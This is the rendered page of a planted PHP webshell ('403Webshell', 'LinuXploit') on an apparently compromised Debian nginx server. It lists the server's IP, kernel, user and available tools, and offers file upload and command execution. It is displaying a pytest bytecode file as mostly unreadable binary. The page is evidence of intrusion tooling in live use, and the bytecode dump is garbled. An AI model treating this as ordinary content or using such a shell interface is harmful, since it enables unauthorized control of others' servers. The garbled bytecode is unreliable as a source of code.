403Webshell
Server IP : 46.101.140.223  /  Your IP : 216.73.217.61
Web Server : nginx/1.22.1
System : Linux debian-s-1vcpu-1gb-fra1-01 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : deploy-others ( 1001)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/_pytest/assertion/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/_pytest/assertion/__pycache__/truncate.cpython-311.pyc
�

��c��
��dZddlmZddlmZddlmZddlmZdZdZ	dZ
	dd
eededeed
eefd�Z
ded
efd�Z		ddeedeedeed
eefd�Zdeeded
eefd�Zd	S)z�Utilities for truncating assertion output.

Current default behaviour is to truncate assertion explanations at
~8 terminal lines, unless running in "-vv" mode or running on CI.
�)�List)�Optional)�util)�Item�i�zuse '-vv' to showN�explanation�item�
max_length�returnc�B�t|��rt|��S|S)zGTruncate this assertion explanation if the given test item is eligible.)�_should_truncate_item�_truncate_explanation)rr	r
s   �</usr/lib/python3/dist-packages/_pytest/assertion/truncate.py�truncate_if_requiredrs(���T�"�"�2�$�[�1�1�1���c�X�|jjj}|dkotj��S)z9Whether or not this test item is eligible for truncation.�)�config�option�verboser�
running_on_ci)r	rs  rr
r
s*���k� �(�G��Q�;�3�t�1�3�3�3�3r�input_lines�	max_lines�	max_charsc���|�t}|�t}td�|����}t|��|kr||kr|S|d|�}t	||��}|ddz|d<t|��t|��z
}|dz
}d}|dkr
|d|�d�z
}n	|d|�d	�z
}|d
t
��z
}|�dt|��g��|S)z�Truncate given list of strings that makes up the assertion explanation.

    Truncates to either 8 lines, or 640 characters - whichever the input reaches
    first. The remaining lines will be replaced by a usage message.
    N����z...�z...Full output truncatedz (z
 line hidden)z lines hidden)z, )�DEFAULT_MAX_LINES�DEFAULT_MAX_CHARS�len�join�_truncate_by_char_count�	USAGE_MSG�extend�str)rrr�input_char_count�truncated_explanation�truncated_line_count�msgs       rrr!s3����%�	���%�	��2�7�7�;�/�/�0�0��
�;���9�$�$�)9�Y�)F�)F���(�
��
�3��3�4I�9�U�U��!6�b� 9�E� A��"���{�+�+�c�2G�.H�.H�H���A���
$�C��q� � ��7�(�7�7�7�7����8�(�8�8�8�8����	����C�� � �"�c�#�h�h��0�0�0� � rc�H�td�|����|kr|Sd}t|��D]/\}}|t|��z|krn|t|��z
}�0|d|�}||}|r||z
}|d|�}|�|��|S)Nrr)r!r"�	enumerate�append)rr�iterated_char_count�iterated_index�
input_line�truncated_result�
final_line�final_line_truncate_points        rr#r#Ks���
�2�7�7�;��� � �I�-�-�����&/��&<�&<�/�/�"��
���Z���0�9�<�<��E��s�:���.���#�?�N�?�3���^�,�J��<�$-�0C�$C�!�� :�!:� :�;�
����J�'�'�'��r)N)NN)�__doc__�typingrr�_pytest.assertionr�
_pytest.nodesrrr r$r&�intr�boolr
rr#�rr�<module>r;sk����
������������"�"�"�"�"�"������������	�EI����c���"&��4<�S�M��	�#�Y�����4��4��4�4�4�4� $�#�'!�'!��c��'!���}�'!���}�'!�
�#�Y�	'!�'!�'!�'!�T��c���s��t�C�y������r

Youez - 2016 - github.com/yon3zu
LinuXploit